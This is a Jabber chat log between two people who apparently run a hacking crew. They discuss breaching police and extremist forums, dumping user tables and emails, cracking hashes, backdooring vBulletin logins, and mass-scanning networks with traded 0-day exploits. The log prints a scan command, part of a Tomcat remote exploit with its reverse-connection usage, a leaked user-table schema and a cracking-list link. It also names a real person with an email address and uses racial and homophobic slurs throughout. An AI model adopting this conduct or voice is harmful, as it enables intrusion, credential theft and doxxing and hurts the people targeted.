Conversation with yohoho@jabber.ccc.de at 1/12/2012 8:55:27 PM on
LeonDavidson@jabber.org/jabber.org (jabber)
yohoho@jabber.ccc.de: The encrypted message received from
yohoho@jabber.ccc.de is unreadable, as you are not currently communicating privately.
(8:55:38 PM) Unverified conversation with yohoho@jabber.ccc.de/ghost started.
(8:55:38 PM) yohoho@jabber.ccc.de: [resent] yo
(9:37:35 PM) leondavidson@jabber.org/jabber.org: yo what up
(9:37:54 PM) yohoho@jabber.ccc.de: ok
(9:37:56 PM) yohoho@jabber.ccc.de: so cracked another bigass site
(9:37:59 PM) yohoho@jabber.ccc.de: got another user table
(9:38:05 PM) yohoho@jabber.ccc.de: 3.6GB of emails
(9:39:13 PM) leondavidson@jabber.org/jabber.org: <3<3<#<#!
(9:39:20 PM) leondavidson@jabber.org/jabber.org: anything interesresting?
(9:39:27 PM) yohoho@jabber.ccc.de: I haven't parsed the PMs yet
(9:39:29 PM) yohoho@jabber.ccc.de: or the emails
(9:39:30 PM) yohoho@jabber.ccc.de: also
(9:39:33 PM) yohoho@jabber.ccc.de: I was thinking of testing sepr a bit
(9:39:41 PM) yohoho@jabber.ccc.de: and giving him these spools to parse/render/peruse
(9:39:49 PM) yohoho@jabber.ccc.de: so if he delivers we'll know if he's good or not
(9:42:12 PM) yohoho@jabber.ccc.de: 12k users
(9:43:31 PM) leondavidson@jabber.org/jabber.org: got you
(9:44:42 PM) yohoho@jabber.ccc.de: a handful of .govs
(9:48:40 PM) yohoho@jabber.ccc.de: ok
(9:48:49 PM) yohoho@jabber.ccc.de: user.csv.gz in that vpn.prvt box
(9:48:56 PM) yohoho@jabber.ccc.de: crack dat shiiit
(9:49:00 PM) yohoho@jabber.ccc.de: rendering PMs to HTML now
(9:50:06 PM) leondavidson@jabber.org/jabber.org: yup
(9:50:11 PM) leondavidson@jabber.org/jabber.org: on new box or my vpn box?
(9:50:20 PM) yohoho@jabber.ccc.de: vpn box is where I put the hashes
(9:50:39 PM) yohoho@jabber.ccc.de: yeah I'm gonna wing the spools to sepr and tell him to keep
his mouth shut
(9:50:50 PM) yohoho@jabber.ccc.de: I told him no one knows target or existence of spools… not
bb, not noone
(9:50:56 PM) yohoho@jabber.ccc.de: he will deliver as a .onion
(9:51:34 PM) leondavidson@jabber.org/jabber.org: sounds good
(9:52:00 PM) yohoho@jabber.ccc.de: that way well know if all goes well or not whether he can
be trusted etc
(9:53:39 PM) yohoho@jabber.ccc.de: "Hell yea I was pimping for a fight of some kind! Just a
little humor on that pursuit thread. I'd kick in the door and shoot the SOB! Keep it going!"
(9:54:13 PM) yohoho@jabber.ccc.de: "
[QUOTE=conalabu][QUOTE=junior116]holy shit man this past friday night i worked night
shift, we pull this car over and the driver is signal 14 so we go to arrest him, we get him arrested
find 5 rocks on him and a blunt. so after we get him arrested his fukn brother wants to get lippy
with me i tell him several times to please leave!!!! of course he doesnt comply so i SLAM the
fuk outta this willy. finally after we get him arrested some other random nigger gets lippy and i
(8:55:27 PM)
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ATTEMPT to arrest him but it didnt work out for me. he took off running i shot him with the
taser only one prong hits him and i get a little zap too. so after about a 300 yard dash, a mild
stroke, and a zap to the finger my pride was hurt!!! we never did find him but two outta three aint
bad. so as u can tell im havin a fukn ball down here!!!![/QUOTE] Gee, Junior, glad you are
taking it slow and just slipping into things gently down there. hahaha. That is awesome. Yon
night rotation or days right now?[/QUOTE] we still on one week rotation we go to 2 week the 1st
of july and then ill be on day
"
(9:54:37 PM) leondavidson@jabber.org/jabber.org: I hate cops son
(9:55:32 PM) leondavidson@jabber.org/jabber.org: nigger?
(9:55:33 PM) leondavidson@jabber.org/jabber.org: nice
(9:55:42 PM) leondavidson@jabber.org/jabber.org: racist cops gettin exposed is win
(9:56:18 PM) yohoho@jabber.ccc.de: hrm this html only goes to 2012
(9:56:21 PM) yohoho@jabber.ccc.de: err
(9:56:22 PM) yohoho@jabber.ccc.de: 2010
(9:56:23 PM) yohoho@jabber.ccc.de: using the wrong db prolly
(9:57:47 PM) leondavidson@jabber.org/jabber.org: ja
(5:18:11 PM) yohoho@jabber.ccc.de: hey hey
(5:18:26 PM) leondavidson@jabber.org/165bd161a5036da9: what up
(5:18:39 PM) yohoho@jabber.ccc.de: nothin just gettng started for the day
(5:18:56 PM) yohoho@jabber.ccc.de: you did get those hashes right?
(5:19:00 PM) yohoho@jabber.ccc.de: for a3p and officerresource
(5:20:12 PM) leondavidson@jabber.org/165bd161a5036da9: got the hashes
(5:20:15 PM) leondavidson@jabber.org/165bd161a5036da9: no cracking yet
(5:20:18 PM) leondavidson@jabber.org/165bd161a5036da9: my boy is offline
(5:20:22 PM) yohoho@jabber.ccc.de: thats fine we got time
(5:20:50 PM) yohoho@jabber.ccc.de: I suppose I could backdoor these sites
(5:20:54 PM) yohoho@jabber.ccc.de: they're both vbulletin
(5:21:01 PM) yohoho@jabber.ccc.de: capture plaintext logins
(5:23:31 PM) leondavidson@jabber.org/165bd161a5036da9: jea
(5:23:32 PM) leondavidson@jabber.org/165bd161a5036da9: do it up
(5:23:52 PM) leondavidson@jabber.org/165bd161a5036da9: wheres the hashes at on the new
box
(5:23:53 PM) leondavidson@jabber.org/165bd161a5036da9: ?
(5:24:35 PM) yohoho@jabber.ccc.de: on your vpn box
(5:24:37 PM) yohoho@jabber.ccc.de: probablt ~rooy
(5:24:39 PM) yohoho@jabber.ccc.de: user.csv.gz
(5:25:09 PM) leondavidson@jabber.org/165bd161a5036da9: kk
(5:36:51 PM) yohoho@jabber.ccc.de: hrm dont understand why these PMs cut off at 2010
(5:30:29 AM) leondavidson@jabber.org/2c5439d9a8af91c2: BRO
(5:30:52 AM) leondavidson@jabber.org/2c5439d9a8af91c2: got beautiful news son
(5:30:56 AM) leondavidson@jabber.org/2c5439d9a8af91c2: you're going to cum right now
(5:30:58 AM) leondavidson@jabber.org/2c5439d9a8af91c2: you ready?
(5:31:57 AM) yohoho@jabber.ccc.de: yoyo
(5:32:13 AM) yohoho@jabber.ccc.de: drunk and tired but whats good
(5:32:38 AM) leondavidson@jabber.org/2c5439d9a8af91c2: fuck that
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leondavidson@jabber.org/2c5439d9a8af91c2: wake up
leondavidson@jabber.org/2c5439d9a8af91c2: kingcope is going to start blessing
us with 0days
(5:33:01 AM) leondavidson@jabber.org/2c5439d9a8af91c2: first one he gave me is
(5:33:05 AM) leondavidson@jabber.org/2c5439d9a8af91c2: tomcat one
(5:33:17 AM) yohoho@jabber.ccc.de: yeah??
(5:33:25 AM) yohoho@jabber.ccc.de: I spotted a few tomcat servers
(5:33:27 AM) leondavidson@jabber.org/2c5439d9a8af91c2: kingcope for the tomcat scanner:
compile and ./pnscan 194.0.0.0/8 8080 or port 80 -- will spit out the passwords for the exploit. 4
hours ago Delete kingcope as requested and more. don't share and don't mention that's all.
isowarez.de/anonymouze.tar
(5:33:29 AM) leondavidson@jabber.org/2c5439d9a8af91c2: BLAM
(5:33:46 AM) leondavidson@jabber.org/2c5439d9a8af91c2: I'm going to read sources first.
verify its not him trolling us
(5:33:57 AM) leondavidson@jabber.org/2c5439d9a8af91c2: but if we keep this priv8 he's going
to hit us with more
(5:36:34 AM) leondavidson@jabber.org/jabber.org: yo
(5:36:39 AM) leondavidson@jabber.org/jabber.org: im back. internet died
(5:37:17 AM) yohoho@jabber.ccc.de: good times ahead of us
(5:37:26 AM) leondavidson@jabber.org/jabber.org: wow
(5:37:31 AM) leondavidson@jabber.org/jabber.org: he gave us tomcat remote
(5:37:34 AM) leondavidson@jabber.org/jabber.org: and telnet
(5:37:41 AM) leondavidson@jabber.org/jabber.org: and some other shit
(5:37:42 AM) leondavidson@jabber.org/jabber.org: hahaha
(5:37:52 AM) leondavidson@jabber.org/jabber.org: sex bro
(5:37:54 AM) leondavidson@jabber.org/jabber.org: sex
(5:37:58 AM) leondavidson@jabber.org/jabber.org: rampage nao?
(5:38:25 AM) leondavidson@jabber.org/jabber.org: btw how you doin?
(5:39:08 AM) yohoho@jabber.ccc.de: good good lining up a few targets
(5:39:15 AM) yohoho@jabber.ccc.de: dumped another big site =)
(5:39:38 AM) yohoho@jabber.ccc.de: we need people to check passwords and dump spools and
shit
(5:39:45 AM) yohoho@jabber.ccc.de: from these password lists we're getting
(5:39:54 AM) leondavidson@jabber.org/jabber.org: wolverine2 statically linked FreeBSD
binary of the latest verion of the exploit
wolverine2.tar source code of the exploit
wolverine2_unpacked unpacked source code of the exploit
(5:40:01 AM) leondavidson@jabber.org/jabber.org: thats his 0day telnet freebsd remote root
(5:40:26 AM) yohoho@jabber.ccc.de: get some scans going on some military subnets
(5:40:36 AM) leondavidson@jabber.org/jabber.org: yup
(5:42:54 AM) leondavidson@jabber.org/jabber.org: # Tomcat Remote Exploit
# By Kingcope
# Year 2011
use IO::Socket;
use LWP::UserAgent;
use URI::Escape;
(5:32:42 AM)
(5:32:58 AM)
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use MIME::Base64;
use IO::Compress::Zip qw(zip $ZipError);
$|=1;
sub usage {
print "Tomcat Remote Exploit\nby Kingcope\nYear 2011\n\nusage: perl tomcat.pl <target>
<targetport> <username> <password> <yourip> <yourport> <win/lnx>\n";
print "example: perl tomcat.pl 192.168.2.10 8080 tomcat tomcat 192.168.2.2 443 lnx\n";
(5:43:10 AM) leondavidson@jabber.org/jabber.org: so far looking good. the only thing I can't
verify its his remote telnet exploit as its a big binary
(5:43:17 AM) leondavidson@jabber.org/jabber.org: might have to sandbox ad gdb that shit
(5:43:26 AM) yohoho@jabber.ccc.de: could be fake
(5:43:58 AM) leondavidson@jabber.org/jabber.org: I doubt its fake so far but I'll let you know
what I find
(5:44:02 AM) leondavidson@jabber.org/jabber.org: eitherway
(5:44:11 AM) leondavidson@jabber.org/jabber.org: between this and the ples shit coming our
way
(5:44:18 AM) leondavidson@jabber.org/jabber.org: we'll be rocking 5 0days
(5:44:35 AM) yohoho@jabber.ccc.de: yes so many targets
(5:44:56 AM) ***leondavidson@jabber.org/jabber.org rubs your nipples
(5:45:04 AM) leondavidson@jabber.org/jabber.org: what you been up to tonight? you still
getting spoolz ?
(5:45:19 AM) yohoho@jabber.ccc.de: dumped a few more sites
(5:45:30 AM) yohoho@jabber.ccc.de: started uploading to our servers
(5:45:46 AM) yohoho@jabber.ccc.de: got another big list of vulnerable targets
(5:45:52 AM) yohoho@jabber.ccc.de: if we get this shit, it's big
(5:45:56 AM) yohoho@jabber.ccc.de: private prisons
(5:45:59 AM) yohoho@jabber.ccc.de: cop tech firms
(6:01:43 AM) leondavidson@jabber.org/jabber.org: sounds good fam
(6:02:01 AM) leondavidson@jabber.org/jabber.org: about to hop on this new box. you
uploading backups to this yes?
(6:02:27 AM) yohoho@jabber.ccc.de: if transfer finished it should have all the mail and dbs
(6:02:31 AM) leondavidson@jabber.org/jabber.org: as for these telnet/tomcat scanners - use
those debian boxes this nigga gave you
(6:02:33 AM) yohoho@jabber.ccc.de: fo that one target
(6:02:36 AM) leondavidson@jabber.org/jabber.org: got oyu
(6:02:37 AM) leondavidson@jabber.org/jabber.org: you
(6:02:46 AM) yohoho@jabber.ccc.de: yes i've been using these
(6:02:51 AM) yohoho@jabber.ccc.de: they'll get burnt up eventually
(6:02:54 AM) leondavidson@jabber.org/jabber.org: yup
(6:02:58 AM) leondavidson@jabber.org/jabber.org: run them down
(6:03:02 AM) yohoho@jabber.ccc.de: one was used to spam the fuck outta their asses
(6:03:05 AM) yohoho@jabber.ccc.de: so that IP is blown
(6:03:07 AM) yohoho@jabber.ccc.de: same subnet
(6:03:18 AM) leondavidson@jabber.org/jabber.org: by monday destroy them all take this entire
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weekend to mass-scan the nternet
(6:03:21 AM) leondavidson@jabber.org/jabber.org: monday/next week
(6:03:33 AM) leondavidson@jabber.org/jabber.org: we'll use tomcat remote and wolverine to
root these bitches
(6:03:46 AM) leondavidson@jabber.org/jabber.org: h gave you that plesk shit yet?
(6:04:19 AM) yohoho@jabber.ccc.de: he hooked a few targets up but has been mia
(6:04:23 AM) yohoho@jabber.ccc.de: he subys with work and kids
(6:04:36 AM) yohoho@jabber.ccc.de: he said he was gonna hook it up.. I did look through plesk
admin logs
(6:04:42 AM) yohoho@jabber.ccc.de: found it's to agent.php
(6:04:44 AM) yohoho@jabber.ccc.de: API RPC
(6:05:19 AM) yohoho@jabber.ccc.de: but agent.php is encrypted or something
(6:05:33 AM) yohoho@jabber.ccc.de: ohterwise i'd be able to audit the php
(6:05:38 AM) yohoho@jabber.ccc.de: if we can get plesk sourcecode we're good
(6:05:55 AM) leondavidson@jabber.org/jabber.org: it probably maes sense to scan the entire
parralels.com/plesk network
(6:05:59 AM) leondavidson@jabber.org/jabber.org: and find an old install not yet patched
(6:06:02 AM) leondavidson@jabber.org/jabber.org: and own their network
(6:06:08 AM) leondavidson@jabber.org/jabber.org: work backwards to grab soruce
(6:06:09 AM) leondavidson@jabber.org/jabber.org: sources
(6:06:12 AM) leondavidson@jabber.org/jabber.org: makes*
(6:06:13 AM) yohoho@jabber.ccc.de: yes
(6:06:23 AM) yohoho@jabber.ccc.de: we'd own them forever
(6:06:30 AM) yohoho@jabber.ccc.de: that's why I was looking at police tech firms
(6:06:37 AM) yohoho@jabber.ccc.de: that make software to track shit
(6:10:28 AM) leondavidson@jabber.org/jabber.org: whats ip to new box?
(6:10:35 AM) leondavidson@jabber.org/jabber.org: I gotta add a dns entry for that bitch
(6:51:47 AM) leondavidson@jabber.org/jabber.org: y0h neegah
(12:17:41 PM) leondavidson@jabber.org/jabber.org: yo
(12:17:44 PM) leondavidson@jabber.org/jabber.org: wake your ass up
(12:17:47 PM) leondavidson@jabber.org/jabber.org: we got some good shit going
(4:05:42 PM) yohoho@jabber.ccc.de: yo
(4:30:14 PM) yohoho@jabber.ccc.de: yoyo
(4:30:15 PM) yohoho@jabber.ccc.de: back
(4:30:15 PM) yohoho@jabber.ccc.de: what's good
(4:30:20 PM) leondavidson@jabber.org/28ef1746fade1217: yo
(4:30:25 PM) leondavidson@jabber.org/28ef1746fade1217: todays been a beautful day
(4:30:30 PM) leondavidson@jabber.org/28ef1746fade1217: besides kingcope blessing us with
0daysex
(4:30:36 PM) leondavidson@jabber.org/28ef1746fade1217: LoD sent us norton source codes
(4:30:37 PM) leondavidson@jabber.org/28ef1746fade1217: lolol
(4:30:44 PM) yohoho@jabber.ccc.de: yeah?
(4:30:54 PM) yohoho@jabber.ccc.de: LoD?
(4:30:58 PM) yohoho@jabber.ccc.de: for real?
(4:31:00 PM) leondavidson@jabber.org/28ef1746fade1217: lords of dharmaraja
(4:31:03 PM) leondavidson@jabber.org/28ef1746fade1217: indian hackers
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(4:31:21 PM)
(4:31:24 PM)
(4:31:36 PM)
(4:31:41 PM)
(4:31:44 PM)
(4:31:48 PM)
(4:31:51 PM)
(4:31:52 PM)
(4:32:03 PM)
(4:32:05 PM)
(4:32:08 PM)
(4:32:24 PM)
(4:32:26 PM)
(4:33:07 PM)

yohoho@jabber.ccc.de: we have it?
yohoho@jabber.ccc.de: shit man
yohoho@jabber.ccc.de: better mirror and get torrent going
yohoho@jabber.ccc.de: before the private secret service comes get you
yohoho@jabber.ccc.de: I see you taunting them
yohoho@jabber.ccc.de: yaeh man hook up teh 0days
yohoho@jabber.ccc.de: what we really could use are some local linux root exploits
yohoho@jabber.ccc.de: something for 2011 pref
leondavidson@jabber.org/28ef1746fade1217: working on it
leondavidson@jabber.org/28ef1746fade1217: nigga
leondavidson@jabber.org/28ef1746fade1217: I'm the mother fucking
leondavidson@jabber.org/28ef1746fade1217: idk mindfreeze
leondavidson@jabber.org/28ef1746fade1217: but I got a big cock
leondavidson@jabber.org/28ef1746fade1217: the 0days are on the new box or old

box forgot
(4:33:14 PM) leondavidson@jabber.org/28ef1746fade1217:

the sources are going to new box in

a minute
(4:33:34 PM)
(4:38:12 PM)
(4:38:39 PM)
(4:38:45 PM)
(4:38:51 PM)
(4:38:57 PM)
(4:38:58 PM)
(4:39:06 PM)
(4:39:12 PM)
(4:39:17 PM)
(4:39:22 PM)

yohoho@jabber.ccc.de: ah ok you already uploaded them
leondavidson@jabber.org/28ef1746fade1217: what you doing nigga
yohoho@jabber.ccc.de: right now
yohoho@jabber.ccc.de: I am rendering emails from guiltfreeradio.com
yohoho@jabber.ccc.de: about 10-15 spools of nazis
yohoho@jabber.ccc.de: also
yohoho@jabber.ccc.de: cracked apbweb.com
yohoho@jabber.ccc.de: a sister site for officerresource.com
yohoho@jabber.ccc.de: just as big, even more user hashes actually
yohoho@jabber.ccc.de: it's weird though
yohoho@jabber.ccc.de: they both have eparate forums but there's a lot of shared

content
(4:40:29 PM) leondavidson@jabber.org/28ef1746fade1217: mhm
(4:40:47 PM) yohoho@jabber.ccc.de: we are on fire man
(4:40:57 PM) yohoho@jabber.ccc.de: once we get those hashes cracked
(4:41:09 PM) yohoho@jabber.ccc.de: we should see if we can recruit someone to

do nothing ut
dump emails from u/ps
(4:41:22 PM) leondavidson@jabber.org/28ef1746fade1217: can you do my lazy ass the favor of
putting the lists on wikisend or some shit
(4:41:33 PM) leondavidson@jabber.org/28ef1746fade1217: I feel too lazy to scp from boxes to
my server then fuckin download then upload
(4:41:45 PM) yohoho@jabber.ccc.de: you dirty bastard hah
(4:41:50 PM) leondavidson@jabber.org/28ef1746fade1217: lol
(4:41:59 PM) leondavidson@jabber.org/28ef1746fade1217: good news:
(4:42:01 PM) leondavidson@jabber.org/28ef1746fade1217: my boys online now
(4:42:04 PM) leondavidson@jabber.org/28ef1746fade1217: so hurry up lazy nig
(4:42:14 PM) yohoho@jabber.ccc.de: ok I will
(4:42:32 PM) leondavidson@jabber.org/28ef1746fade1217: im barely motivating myself to
upload these fucking norton sources
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leondavidson@jabber.org/28ef1746fade1217: my man
leondavidson@jabber.org/28ef1746fade1217: this is great news
leondavidson@jabber.org/28ef1746fade1217: because these faggots been reusing
same cod for last 10 years
(4:42:46 PM) leondavidson@jabber.org/28ef1746fade1217: hahah
(4:42:51 PM) leondavidson@jabber.org/28ef1746fade1217: 0days coming
(4:45:40 PM) yohoho@jabber.ccc.de: ugh I have the slowest comptuer in the world
(4:45:48 PM) yohoho@jabber.ccc.de: full disk encryption shit just grinds to a halt
(4:46:11 PM) yohoho@jabber.ccc.de: course I got a million terminal windows open, a million
browser windows, mysql irc thunderbird torrents and some shit
(4:46:20 PM) leondavidson@jabber.org/28ef1746fade1217: haha
(4:47:10 PM) yohoho@jabber.ccc.de: btw I been chillin with dv0 and opblitzkrieg
(4:47:11 PM) yohoho@jabber.ccc.de: they're cool
(4:47:11 PM) yohoho@jabber.ccc.de: but
(4:47:12 PM) yohoho@jabber.ccc.de: he wants releases sooner tan later
(4:47:14 PM) yohoho@jabber.ccc.de: and I just can't do that =(
(4:47:16 PM) yohoho@jabber.ccc.de: it will take some time on these new nazi dumps
(4:47:27 PM) leondavidson@jabber.org/28ef1746fade1217: yeah
(4:47:28 PM) yohoho@jabber.ccc.de: I got em all but I'm not just gonna release shit right away
(4:47:30 PM) leondavidson@jabber.org/28ef1746fade1217: its all good
(4:47:33 PM) leondavidson@jabber.org/28ef1746fade1217: hes my son he can wait
(4:47:40 PM) leondavidson@jabber.org/28ef1746fade1217: my wife and I adopted his bitch ass
(4:47:43 PM) yohoho@jabber.ccc.de: i'm sharing it with local anti-racist groups that will take the
time to research all the messages, collect all their addresses, and hand check all the email/passes
(4:47:50 PM) leondavidson@jabber.org/28ef1746fade1217: word up
(4:47:54 PM) yohoho@jabber.ccc.de: to do it right
(4:48:44 PM) yohoho@jabber.ccc.de: I did find some major nzi german targets that run plesk
(4:48:50 PM) yohoho@jabber.ccc.de: ones that opblitzkreig was lusting after
(4:48:55 PM) yohoho@jabber.ccc.de: so when h comes around we can hook them up
(4:49:16 PM) leondavidson@jabber.org/28ef1746fade1217: perfec
(4:49:24 PM) leondavidson@jabber.org/28ef1746fade1217: remember we now have telnet and
tomcat sex
(4:49:28 PM) leondavidson@jabber.org/28ef1746fade1217: so put debians to work
(4:49:31 PM) leondavidson@jabber.org/28ef1746fade1217: fuck im lazy
(4:49:52 PM) yohoho@jabber.ccc.de: should hook alex up
(4:50:00 PM) yohoho@jabber.ccc.de: he already is scanning some shit
(4:50:27 PM) yohoho@jabber.ccc.de: -rw-r--r-- 1 root wheel 1208320 Jan 14 05:40
anonymouze.tar
(4:50:30 PM) yohoho@jabber.ccc.de: on your vpn box
(4:50:36 PM) yohoho@jabber.ccc.de: that's what he's given us so far correct?
(4:51:04 PM) yohoho@jabber.ccc.de: also
(4:51:07 PM) yohoho@jabber.ccc.de: these vbulletin user tables
(4:51:12 PM) yohoho@jabber.ccc.de: also ahve a passwordhistory table
(4:51:23 PM) yohoho@jabber.ccc.de: your friends will be able to work with that as well? it just
stores old md5 hashes
(4:51:24 PM) yohoho@jabber.ccc.de: shoudl work
(4:42:34 PM)
(4:42:37 PM)
(4:42:45 PM)
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yohoho@jabber.ccc.de: btw got a message from sepr
yohoho@jabber.ccc.de: he copied and rendered all the email
leondavidson@jabber.org/28ef1746fade1217: yes
leondavidson@jabber.org/28ef1746fade1217: they can work on it
yohoho@jabber.ccc.de: it will be another day or so before he gets an onion link up
for us to privately read through
(4:53:37 PM) yohoho@jabber.ccc.de: he skimmed it
(4:53:41 PM) yohoho@jabber.ccc.de: said this guy talks to homeland security
(4:53:41 PM) yohoho@jabber.ccc.de: etc
(4:53:49 PM) yohoho@jabber.ccc.de: who knows
(4:53:55 PM) yohoho@jabber.ccc.de: I also just dumped apbweb mail
(4:53:57 PM) yohoho@jabber.ccc.de: which is their magazine
(4:54:15 PM) leondavidson@jabber.org/28ef1746fade1217: sounds good
(4:54:33 PM) leondavidson@jabber.org/28ef1746fade1217: link me to the lists
(4:54:40 PM) yohoho@jabber.ccc.de: i'm still collecting
(4:54:46 PM) yohoho@jabber.ccc.de: it's a few different sites
(4:55:13 PM) leondavidson@jabber.org/28ef1746fade1217: kk
(4:56:49 PM) yohoho@jabber.ccc.de: apbweb forums have 18k users
(4:56:56 PM) leondavidson@jabber.org/28ef1746fade1217: sexy
(5:01:43 PM) yohoho@jabber.ccc.de: uploading
(5:02:52 PM) yohoho@jabber.ccc.de: also
(5:02:59 PM) yohoho@jabber.ccc.de: once we start dumping these targets publicly
(5:03:11 PM) yohoho@jabber.ccc.de: we have to do so in such a way that will prevent them from
realizing the source of the vuln is plesk
(5:03:22 PM) yohoho@jabber.ccc.de: all the hacklogs and so forth are pretty obviously plesk
systems
(5:03:31 PM) yohoho@jabber.ccc.de: and if anyone bothers to check theyll eralize they're all
plesk to
(5:03:35 PM) yohoho@jabber.ccc.de: at least the targets I am working on now
(5:04:28 PM) yohoho@jabber.ccc.de: and where is exphin1ty
(5:05:45 PM) yohoho@jabber.ccc.de: we need to get that sra tatrget
(5:06:13 PM) yohoho@jabber.ccc.de: http://wikisend.com/download/458640/crackme.txt.gz h0h0
(5:24:47 PM) yohoho@jabber.ccc.de: got it?
(5:29:36 PM) leondavidson@jabber.org/28ef1746fade1217: 20:54 <sn1ffle> we decided to kill
dk.
20:54 <sn1ffle> we should have never restarted it public
20:55 <sn1ffle> you can always contact me: eas@gnu.org
20:55 <sn1ffle> take care brother
(4:53:13 PM)
(4:53:20 PM)
(4:53:27 PM)
(4:53:29 PM)
(4:53:32 PM)

(5:30:16 PM) yohoho@jabber.ccc.de: hrm.......
(5:30:20 PM) yohoho@jabber.ccc.de: what the hell
(5:30:34 PM) yohoho@jabber.ccc.de: how public did he exactly make it?
(5:30:52 PM) leondavidson@jabber.org/28ef1746fade1217: and
(5:30:54 PM) leondavidson@jabber.org/28ef1746fade1217: he doxed himself
(5:30:56 PM) leondavidson@jabber.org/28ef1746fade1217: Eric A. Schulman

<eas@gnu.org>
Is a Linux kernel hacker, free software advocate and member of the Free Software Foundation.
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He is the author of GNU DSView, a free replacement for the KVM/IP rendering engine.
(5:31:03 PM) leondavidson@jabber.org/28ef1746fade1217: ROFL
(5:32:57 PM) yohoho@jabber.ccc.de: maybe misdirection?
(5:33:25 PM) leondavidson@jabber.org/28ef1746fade1217: doubt it. he ssh'd from his gnu.org
shell every time. and he was public
(5:33:27 PM) leondavidson@jabber.org/28ef1746fade1217: my opinion is
(5:33:35 PM) leondavidson@jabber.org/28ef1746fade1217: people ay fsf or gnu noticed him on
twitter
(5:33:39 PM) leondavidson@jabber.org/28ef1746fade1217: and they started talking shit in the
bg
(5:34:29 PM) yohoho@jabber.ccc.de: see
(5:34:39 PM) yohoho@jabber.ccc.de: he uses the smae name for years
(5:35:12 PM) leondavidson@jabber.org/28ef1746fade1217: word
(5:35:22 PM) leondavidson@jabber.org/28ef1746fade1217: is this the only list you need
cracked?
(5:35:28 PM) leondavidson@jabber.org/28ef1746fade1217: did that include a3p and the other
new shit?
(5:40:00 PM) yohoho@jabber.ccc.de: it included three sites
(5:40:07 PM) yohoho@jabber.ccc.de: a3p officerresource and apbweb
(5:40:10 PM) yohoho@jabber.ccc.de: all in one text file
(5:40:13 PM) leondavidson@jabber.org/28ef1746fade1217: kk
(5:41:31 PM) leondavidson@jabber.org/28ef1746fade1217: norton utlities source code and 0day
in both servers
(5:41:49 PM) leondavidson@jabber.org/28ef1746fade1217: (5:41:19 PM)

thisusernamesucks@jabber.org: you have the table headers by chance?
leondavidson@jabber.org/28ef1746fade1217: NU.rar
yohoho@jabber.ccc.de: yeah I do
leondavidson@jabber.org/28ef1746fade1217: pass it over my way
yohoho@jabber.ccc.de: 1 min
yohoho@jabber.ccc.de:
CREATE TABLE IF NOT EXISTS `user` (
`userid` int(10) unsigned NOT NULL AUTO_INCREMENT,
`usergroupid` smallint(5) unsigned NOT NULL DEFAULT '0',
`membergroupids` varchar(250) NOT NULL DEFAULT '',
`displaygroupid` smallint(5) unsigned NOT NULL DEFAULT '0',
`username` varchar(100) NOT NULL DEFAULT '',
`password` varchar(32) NOT NULL DEFAULT '',
`passworddate` date NOT NULL DEFAULT '0000-00-00',
`email` varchar(100) NOT NULL DEFAULT '',
`styleid` smallint(5) unsigned NOT NULL DEFAULT '0',
`parentemail` varchar(50) NOT NULL DEFAULT '',
`homepage` varchar(100) NOT NULL DEFAULT '',
`icq` varchar(20) NOT NULL DEFAULT '',
`aim` varchar(20) NOT NULL DEFAULT '',
`yahoo` varchar(32) NOT NULL DEFAULT '',
`showvbcode` smallint(5) unsigned NOT NULL DEFAULT '0',
(5:42:32 PM)
(5:45:46 PM)
(5:46:03 PM)
(5:46:09 PM)
(5:47:07 PM)
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`showbirthday` smallint(5) unsigned NOT NULL DEFAULT '2',
`usertitle` varchar(250) NOT NULL DEFAULT '',
`customtitle` smallint(6) NOT NULL DEFAULT '0',
`joindate` int(10) unsigned NOT NULL DEFAULT '0',
`daysprune` smallint(6) NOT NULL DEFAULT '0',
`lastvisit` int(10) unsigned NOT NULL DEFAULT '0',
`lastactivity` int(10) unsigned NOT NULL DEFAULT '0',
`lastpost` int(10) unsigned NOT NULL DEFAULT '0',
`posts` int(10) unsigned NOT NULL DEFAULT '0',
`reputation` int(11) NOT NULL DEFAULT '10',
`reputationlevelid` int(10) unsigned NOT NULL DEFAULT '1',
`timezoneoffset` varchar(4) NOT NULL DEFAULT '',
`pmpopup` smallint(6) NOT NULL DEFAULT '0',
`avatarid` smallint(6) NOT NULL DEFAULT '0',
`avatarrevision` int(10) unsigned NOT NULL DEFAULT '0',
`profilepicrevision` int(10) unsigned NOT NULL DEFAULT '0',
`options` int(10) unsigned NOT NULL DEFAULT '15',
`birthday` varchar(10) NOT NULL DEFAULT '',
`birthday_search` date NOT NULL DEFAULT '0000-00-00',
`maxposts` smallint(6) NOT NULL DEFAULT '-1',
`startofweek` smallint(6) NOT NULL DEFAULT '1',
`ipaddress` varchar(15) NOT NULL DEFAULT '',
`referrerid` int(10) unsigned NOT NULL DEFAULT '0',
`languageid` smallint(5) unsigned NOT NULL DEFAULT '0',
`msn` varchar(100) NOT NULL DEFAULT '',
`emailstamp` int(10) unsigned NOT NULL DEFAULT '0',
`threadedmode` smallint(5) unsigned NOT NULL DEFAULT '0',
`autosubscribe` smallint(6) NOT NULL DEFAULT '-1',
`pmtotal` smallint(5) unsigned NOT NULL DEFAULT '0',
`pmunread` smallint(5) unsigned NOT NULL DEFAULT '0',
`salt` char(3) NOT NULL DEFAULT '',
`skype` varchar(32) NOT NULL DEFAULT '',
`adminoptions` int(10) unsigned NOT NULL DEFAULT '0',
`lastpostid` int(10) unsigned NOT NULL DEFAULT '0',
`sigpicrevision` int(10) unsigned NOT NULL DEFAULT '0',
`ipoints` int(10) unsigned NOT NULL DEFAULT '0',
`infractions` int(10) unsigned NOT NULL DEFAULT '0',
`warnings` int(10) unsigned NOT NULL DEFAULT '0',
`infractiongroupids` varchar(255) NOT NULL DEFAULT '',
`infractiongroupid` smallint(5) unsigned NOT NULL DEFAULT '0',
`arcade_ban` tinyint(1) NOT NULL DEFAULT '0',
`times_played` int(11) NOT NULL DEFAULT '0',
`is_arcade_mod` tinyint(1) NOT NULL DEFAULT '0',
`fav_games` text NOT NULL,
`user_sort` varchar(15) NOT NULL DEFAULT '0',
`user_order` varchar(4) NOT NULL DEFAULT '0',
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`user_g_pp` mediumint(8) NOT NULL DEFAULT '0',
`user_s_pp` mediumint(8) NOT NULL DEFAULT '0',
`def_g_cat` mediumint(8) NOT NULL DEFAULT '0',
`game_skin` tinyint(1) NOT NULL DEFAULT '0',
`arcade_mod_privs` text NOT NULL,
`arcade_pmactive` tinyint(1) NOT NULL DEFAULT '1',
`games_played` int(11) NOT NULL DEFAULT '0',
`time_played` int(11) NOT NULL DEFAULT '0',
`arcade_points` int(11) NOT NULL DEFAULT '500',
`arcade_spent` int(11) NOT NULL DEFAULT '0',
`arcade_won` int(11) NOT NULL DEFAULT '0',
`arcade_high` int(11) NOT NULL DEFAULT '0',
